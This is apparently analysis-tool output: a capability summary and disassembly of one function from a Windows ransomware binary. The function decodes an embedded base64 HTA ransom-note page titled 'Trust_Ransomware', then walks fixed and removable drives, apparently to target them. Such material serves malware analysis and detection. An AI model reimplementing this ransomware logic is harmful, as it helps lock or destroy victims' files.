Function at 0x14001f150
Capabilities:
Decode data using base64 via winapi
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x1e0
mov rax, qword [0x1400a3100]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
mov r8d, 0x33cc
lea rdx, str.PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOJyAnaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCcDQo8aHRtbD4NCiAgPGhlYWQDQogICAgPG1ldGEgY2hhcnNldD0nd2luZG93cy0xMjUxJz4NCiAgICA8dGl0bGUVHJ1c3RfUmFuc29td2FyZTwvdGl0bGUDQoNCiAgICA8SFRBOkFQUExJQ0FUSU9ODQogICAgICBJQ09OPSdtc2lleGVjLmV4ZScNCiAgICAgIFNJTkdMRUlOU1RBTkNFPSd5ZXMnDQogICAgICBTeXNNZW51PSJubyIDQoNCiAgICA8c2NyaXB0IGxhbmd1YWdlPSdKU2NyaXB0Jz4NCiAgICAgIHdpbmRvdy5tb3ZlVG8oNTAsIDUwKTsNCiAgICAgIHdpbmRvdy5yZXNpemVUbyhzY3JlZW4ud2lkdGggLSAxMDAsIHNjcmVlbi5oZWlnaHQgLSAxMDApOw0KICAgIDwvc2NyaXB0Pg0KDQogICAgPHN0eWxlIHR5cGU9J3RleHQvY3NzJz4NCg0KICAgICAgYm9keSB7DQogICAgICAgIGZvbnQ6IDE1cHggVGFob21hLCBzYW5zLXNlcmlmOw0KICAgICAgICBtYXJnaW46IDEwcHg7DQogICAgICAgIGxpbmUtaGVpZ2h0OiAyNXB4Ow0KICAgICAgICBiYWNrZ3JvdW5kOiAjRURFREVEOw0KICAgICAgfQ0KCSAgaW1nIHsNCgkJZGlzcGxheTppbmxpbmUtYmxvY2s7DQoJICB9DQogICAgICAuYm9sZCB7DQogICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgICAgfQ0KICAgICAgLm1hcmsgew0KICAgICAgICBiYWNrZ3JvdW5kOiAjRDBEMEU4Ow0KICAgICAgICBwYWRkaW5nOiAycHggNXB4Ow0KICAgICAgfQ0KICAgICAgLmhlYWRlciB7DQoJCXRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgZm9udC1zaXplOiAzMHB4Ow0KICAgICAgICBsaW5lLWhlaWdodDogNTBweDsNCiAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQoJCW1hcmdpbi1ib3R0b206MjBweDsNCiAgICAgIH0NCgkgIA0KICAgICAgLmluZm8gew0KICAgICAgICBiYWNrZ3JvdW5kOiAjRDBEMEU4Ow0KICAgICAgICBib3JkZXItbGVmdDogMTBweCBzb2xpZCAjMDAwMDhCOw0KICAgICAgfQ0KICAgICAgLmFsZXJ0IHsNCiAgICAgICAgYmFja2dyb3VuZDogI0ZGRTRFNDsNCiAgICAgICAgYm9yZGVyLWxlZnQ6IDEwcHggc29saWQgI0ZGMDAwMDsNCiAgICAgIH0NCiAgICAgIC5wcml2YXRlIHsNCiAgICAgICAgYm9yZGVyOiAxcHggZGFzaGVkICMwMDA7DQogICAgICAgIGJhY2tncm91bmQ6ICNGRkZGRUY7DQogICAgICB9DQoNCiAgICAgIC5ub3RlIHsNCiAgICAgICAgaGVpZ2h0OiBhdXRvOw0KICAgICAgICBwYWRkaW5nLWJvdHRvbTogMXB4Ow0KICAgICAgICBtYXJnaW46IDE1cHggMDsNCiAgICAgIH0NCiAgICAgIC5ub3RlIC50aXRsZSB7DQogICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgICAgICB0ZXh0LWluZGVudDogMTBweDsNCiAgICAgICAgaGVpZ2h0OiAzMHB4Ow0KICAgICAgICBsaW5lLWhlaWdodDogMzBweDsNCiAgICAgICAgcGFkZGluZy10b3A6IDEwcHg7DQogICAgICB9DQogICAgICAubm90ZSAubWFyayB7DQogICAgICAgIGJhY2tncm91bmQ6ICNBMkEyQjU7DQogICAgICB9DQogICAgICAubm90ZSB1bCB7DQogICAgICAgIG1hcmdpbi10b3A6IDA7DQogICAgICB9DQogICAgICAubm90ZSBwcmUgew0KICAgICAgICBtYXJnaW4tbGVmdDogMTVweDsNCiAgICAgICAgbGluZS1oZWlnaHQ6IDEzcHg7DQogICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgIH0NCgkgIC5mb290ZXIgew0KCQlwb3NpdGlvbjpmaXhlZDsNCgkJYm90dG9tOjA7DQoJCXJpZ2h0OjA7DQoJICAgIHRleHQtYWxpZ246IHJpZ2h0Ow0KCSAgfQ0KCSAgLnRpdGxlIHsNCgkgICAgbWFyZ2luLWxlZnQ6IDA7DQoJICB9DQoJICAudGl0bGUuc3ViIHsNCgkgICAgbWFyZ2luLWxlZnQ6MzBweDsNCgkJZGlzcGFseTppbmxpbmUtYmxvY2s7DQoJICB9DQogICAgPC9zdHlsZT4NCiAgPC9oZWFkPg0KDQogIDxib2R5Pg0KICAgIDxkaXYgY2xhc3M9J2hlYWRlcicDQoJCTxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUVBQUFBQkFDQVFBQUFBQVlMbFZBQUFBQkdkQlRVRUFBTEdQQy94aEJRQUFBQ0JqU0ZKTkFBQjZKUUFBZ0lNQUFQbi9BQUNBNlFBQWRUQUFBT3BnQUFBNm1BQUFGMitTWDhWR0FBQUFBbUpMUjBRQS80ZVB6TDhBQUFBSmNFaFpjd0FBQ3hNQUFBc1RBUUNhbkJnQUFBQUhkRWxOUlFmakF3d01Kd1NGd0luOEFBQUROa2xFUVZSbzN1MlpUVWhVVVJUSGZ6b3ptcHJtWjFwWUVta2ZKTkVtaXd3a1NFeUZFQ0lRcEVVYm9ZaHFGWUhRWGxjdGk5clVLbGRXQkVVaXVRcGJ0REROekQ1RzhxTTBIUlhMUnRPNUxkSngzcHVQZCsrOCt4eUl6dG04OHpnZi8zdmV1ZmVlZTE4U2RpbURJMVJ4bkwwVTRnYkF6eGhEZFBHQ2ZwWnMrNDlKV1RUeUZCOGlBcTh3VGp1MXBEZ1h2b3BPbGlJR1grZDU3ckhQaWVCdUx2TE5JdmdhRDFLdlAveDFGaVREQ3dRVE5Pa0ZjSlZmQ3VFRmdxK2MwaGUrbWluRjhBSkJIMldSbkNVcGg4L25JWlZoYjJkNXcxc21FYmpZU1RuN1NRL1R1Y3NGbG5Xa1B4Qlc2WGM0UmtiSW9IS29vU05zaHN4UmJUOThFYjBtdHlNMDRvcWdtUjZoVU52dHJ3cm5XRGE0bk9WTVZGMFhMZncyYVB1b3NCZmV6UVBUbU5waVZ0Rm1ucGowVyt3QktNRnJjUGVKM1JZV05md3dXSFNTWmdkQUhYNkR1NXVXRnBsMG15cW0xS2lRckFTZ25OUVFhWkZPUzR0NW5odmtBbmJaQWJESElFMHdJR0h6bXNVUUtkWGtRd2xBQ3RzTjhpamZKYXk4ekJqa292Z0JiQ0xQbEFHL2hOVWNzd2E1SUg0QXlhc2R6eHI1cEJiV1JSWU1zdEdIWWcwNFFBa0g0RmJRRlN3VENLYmRJN216V1ZpcGJNY2VLdGlDQ0ZxTzBPZVkxY2FSYkFhS09jZ09DcFErV1dUeU04RXd2ZmprVGZKb1laREZPTnF3YVB5VEhzN0xia3RsUE5NWWVwMlh1RTIyZGZoc0hqa1MvaSszV24vU0syRWRvRTcyVWV1eUdIOHJ4YmJMTGpxbGtSbGI0VEF6RG81ZklKaU92UlRuUitqdTlWSnV3dmVDL3dBU0RzRCsyaDVLVXl5UVRWWmlBTHpqRnQzTXNZMTZtdG1xeDJtdDlCYlV3NEVRdXpwR3BWY0NMUUI4bkRCWlhtSkZEb0NlSW56RlM5T2J4d3pMbWVvQk1HQTQvUUJNNHQxSUFPSFhEaTdacXdnOUFDckNXb3RTOHhuUVdR
lea rcx, [rsp + 0x70]
call fcn.1400213d0
xor esi, esi
mov dword [rsp + 0x50], esi
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova rcx, qword [rsp + 0x70]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor edx, edx
mov r8d, 1
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], rax
mov edx, dword [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.1400201a0
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova rcx, qword [rsp + 0x70]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x90]
xor edx, edx
mov r8d, 1
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov rcx, qword [rsp + 0x90]
test eax, eax
jne 0x14001f2a4
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov edx, esi
mov qword [rsp + 0x68], rdx
test rcx, rcx
je 0x14001f29d
mov rdx, qword [rsp + 0xa0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f293
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f4ea
call fcn.14002f6d8
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
jmp 0x14001f2c3
mov qword [rsp + 0x58], rcx
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0xa0]
mov qword [rsp + 0x68], rdx
cmp rcx, qword [rsp + 0x60]
jne 0x14001f373
test rcx, rcx
je 0x14001f30e
sub rdx, rcx
cmp rdx, 0x1000
mov rax, rcx
jb 0x14001f2fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f4e4
call fcn.14002f6d8
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rsi
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x14001f34e
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f349
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f4e4
call fcn.14002f6d8
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.14002f0b0
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
lea rdx, [rsp + 0xd0]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
jne 0x14001f3a2
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14001f30e
mov rdx, qword [rsp + 0x68]
jmp 0x14001f2d3
lea rbx, [rsp + 0xd0]
mov qword [rsp + 0x50], rbx
cmp byte [rbx], 0
je 0x14001f45b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
je 0x14001f3d4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x14001f440
mov qword [rsp + 0x90], rbx
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rbx + rdi], 0
jne 0x14001f3e3
mov qword [rsp + 0x98], rdi
call fcn.14002d93c
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rsp + 0xa8]
call fcn.14001e510
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0xa8]
call fcn.14001eeb0
lea rcx, [rsp + 0xa8]
call fcn.140019bd0
nop
jmp 0x14001f440
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x14001f447
inc rbx
add rbx, rax
jmp 0x14001f3aa
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14001f4a1
mov rdx, qword [rsp + 0x68]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f48e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f4e4
call fcn.14002f6d8
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rsi
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x14001f34e
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f349
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001f349
call fcn.14003501c
int3
call fcn.14003501c
int3